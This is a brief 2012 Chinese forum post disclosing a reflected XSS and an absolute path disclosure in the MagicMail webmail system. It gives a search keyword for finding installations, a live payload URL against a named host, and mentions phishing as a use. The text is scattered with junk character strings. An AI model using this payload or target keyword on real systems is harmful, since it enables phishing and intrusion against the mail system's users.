今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞) ~2 ?/ P9 h. G0 J2 c
/ l, k0 \, M. s4 t' c; Z " k9 j: K9 v5 A, Q0 V' x+ g
包含 一个反射性XSS 以及 绝对路径泄漏8 H# _; N% l R u3 ]* v( m
看了看 貌似全部是linux的。3 p9 F. o7 x3 { I
) ?7 E) ^4 r7 N% m+ n
关键字：迈捷邮件系统 by MagicMail" A" p& Q4 ^+ Y" j7 v
6 A8 X3 B" {) q" \* v0 \可以看到很多政府网站都用这个邮件系统
! X* v2 X9 a/ R8 A
2 s7 q& l" m; R+ |! l$ v绝对路径 http://madman.in/index.php?login_type=declare&language=
+ {, h {0 s7 H$ t
2 Z& y& w7 c7 ?7 R% F6 E
2 r' R: ~* W7 G$ [+ v- W5 X/ [& g
, {# F; r; Z: d1 t+ TXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E) x% v- Y4 P4 b, {' O9 d
2 [+ \6 w& n) h0 h" [$ i/ W3 m4 ^
; m; R/ }4 h& |2 t虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等9 J# I6 T0 l( P6 D0 U/ O
8 L' R/ T y: }1 W" W
修复方案：看官方补丁吧。
1 f) [/ q; h' N, X J! q/ Z+ e) b |
发表于 2012-11-9 20:38:41
收藏
支持
反对